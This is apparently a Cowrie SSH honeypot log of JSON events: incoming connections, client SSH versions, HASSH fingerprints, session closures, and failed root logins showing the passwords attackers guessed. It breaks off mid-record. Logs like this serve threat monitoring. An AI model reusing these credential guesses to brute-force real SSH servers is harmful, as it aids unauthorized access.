{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:12.703657Z","src_ip":"103.219.170.37","session":"839c3898d58c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome4","message":"login attempt [root/Welcome4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:12.931736Z","src_ip":"103.219.170.37","session":"839c3898d58c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:14.010955Z","src_ip":"103.219.170.37","session":"839c3898d58c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.94.212.80","src_port":38358,"dst_ip":"159.203.135.109","dst_port":22,"session":"907ea3383249","protocol":"ssh","message":"New connection: 184.94.212.80:38358 (159.203.135.109:22) [session: 907ea3383249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:15.028798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:15.034293Z","src_ip":"184.94.212.80","session":"907ea3383249","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:15.103467Z","src_ip":"184.94.212.80","session":"907ea3383249","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":35784,"dst_ip":"10.17.0.5","dst_port":22,"session":"58f6adb194dd","protocol":"ssh","message":"New connection: 87.251.79.125:35784 (10.17.0.5:22) [session: 58f6adb194dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:15.371856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:15.377127Z","src_ip":"87.251.79.125","session":"58f6adb194dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"K0nigK0nig@2024","message":"login attempt [root/K0nigK0nig@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:15.392636Z","src_ip":"184.94.212.80","session":"907ea3383249","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:15.448836Z","src_ip":"87.251.79.125","session":"58f6adb194dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"24crow","message":"login attempt [root/24crow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:15.666306Z","src_ip":"87.251.79.125","session":"58f6adb194dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:16.187011Z","src_ip":"101.126.22.12","session":"125583104375","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:16.460735Z","src_ip":"184.94.212.80","session":"907ea3383249","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:16.741003Z","src_ip":"87.251.79.125","session":"58f6adb194dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.237.246","src_port":53372,"dst_ip":"159.203.135.109","dst_port":22,"session":"30a392f39eec","protocol":"ssh","message":"New connection: 43.156.237.246:53372 (159.203.135.109:22) [session: 30a392f39eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:21.802366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:21.810995Z","src_ip":"43.156.237.246","session":"30a392f39eec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:22.049994Z","src_ip":"43.156.237.246","session":"30a392f39eec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"standard","message":"login attempt [root/standard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:23.036082Z","src_ip":"43.156.237.246","session":"30a392f39eec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:24.276950Z","src_ip":"43.156.237.246","session":"30a392f39eec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":41944,"dst_ip":"159.203.135.109","dst_port":22,"session":"24f739f44ac0","protocol":"ssh","message":"New connection: 181.47.9.103:41944 (159.203.135.109:22) [session: 24f739f44ac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:37.292186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:37.296456Z","src_ip":"181.47.9.103","session":"24f739f44ac0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:37.439216Z","src_ip":"181.47.9.103","session":"24f739f44ac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"luisluis","message":"login attempt [root/luisluis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:38.040433Z","src_ip":"181.47.9.103","session":"24f739f44ac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:39.185797Z","src_ip":"181.47.9.103","session":"24f739f44ac0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":46046,"dst_ip":"159.203.135.109","dst_port":22,"session":"10281b8e2e73","protocol":"ssh","message":"New connection: 103.75.183.219:46046 (159.203.135.109:22) [session: 10281b8e2e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:44.648963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:44.660809Z","src_ip":"103.75.183.219","session":"10281b8e2e73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:44.900237Z","src_ip":"103.75.183.219","session":"10281b8e2e73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"junior","message":"login attempt [root/junior] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:45.618176Z","src_ip":"103.75.183.219","session":"10281b8e2e73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.178.75.242","src_port":53668,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fc1b414d7f6","protocol":"ssh","message":"New connection: 115.178.75.242:53668 (159.203.135.109:22) [session: 3fc1b414d7f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:45.910487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:45.915036Z","src_ip":"115.178.75.242","session":"3fc1b414d7f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:46.097563Z","src_ip":"115.178.75.242","session":"3fc1b414d7f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:46.858861Z","src_ip":"103.75.183.219","session":"10281b8e2e73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lavoro","message":"login attempt [root/lavoro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:46.863179Z","src_ip":"115.178.75.242","session":"3fc1b414d7f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:48.048585Z","src_ip":"115.178.75.242","session":"3fc1b414d7f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.227.230.54","src_port":52590,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ec78b0820c0","protocol":"ssh","message":"New connection: 163.227.230.54:52590 (159.203.135.109:22) [session: 6ec78b0820c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:49.011938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:49.016348Z","src_ip":"163.227.230.54","session":"6ec78b0820c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:49.263470Z","src_ip":"163.227.230.54","session":"6ec78b0820c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"health","message":"login attempt [root/health] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:50.282876Z","src_ip":"163.227.230.54","session":"6ec78b0820c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:51.531787Z","src_ip":"163.227.230.54","session":"6ec78b0820c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.0.59","src_port":40032,"dst_ip":"159.203.135.109","dst_port":22,"session":"f42380ab4dfb","protocol":"ssh","message":"New connection: 43.153.0.59:40032 (159.203.135.109:22) [session: f42380ab4dfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:53.748939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:53.753222Z","src_ip":"43.153.0.59","session":"f42380ab4dfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 